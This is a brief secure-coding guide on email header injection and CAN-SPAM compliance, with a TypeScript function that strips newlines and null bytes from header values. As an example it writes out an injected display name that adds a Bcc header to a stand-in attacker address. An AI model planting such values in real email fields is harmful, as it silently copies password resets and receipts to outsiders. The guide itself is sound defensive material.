Email headers/routing not falsified or misleading

CAN-SPAM §5(a)(1) prohibits false or misleading header information. Header injection (CWE-93, OWASP A03 Injection) occurs when user-supplied values — a display name from a profile, a subject template, a reply-to address — are interpolated into email headers without stripping \r\n\0 characters. A malicious value like Alice\r\nBcc: attacker@evil.com added to the From display name injects a Bcc header, silently copying every email to an attacker-controlled address. This is both a CAN-SPAM violation (falsified headers) and a data exfiltration vector for transactional emails containing sensitive content (receipts, password resets, order confirmations).

Sanitize every user-supplied value before interpolating it into an email header field by stripping newlines, carriage returns, and null bytes.

// lib/email.ts — header sanitization
function sanitizeHeader(value: string): string {
  return value.replace(/[\r\n\0]/g, ' ').trim().slice(0, 998) // RFC 2822 line limit
}

// Apply before every header value derived from user input
const fromName = sanitizeHeader(user.displayName)
headers['From'] = `${fromName} <${FROM_EMAIL}>`

For Reply-To, only set it when you have a legitimate fixed alternate address (e.g., a support alias on your domain). Never set Reply-To to a value derived from user input without sanitization, and do not set it to a completely different organization's domain.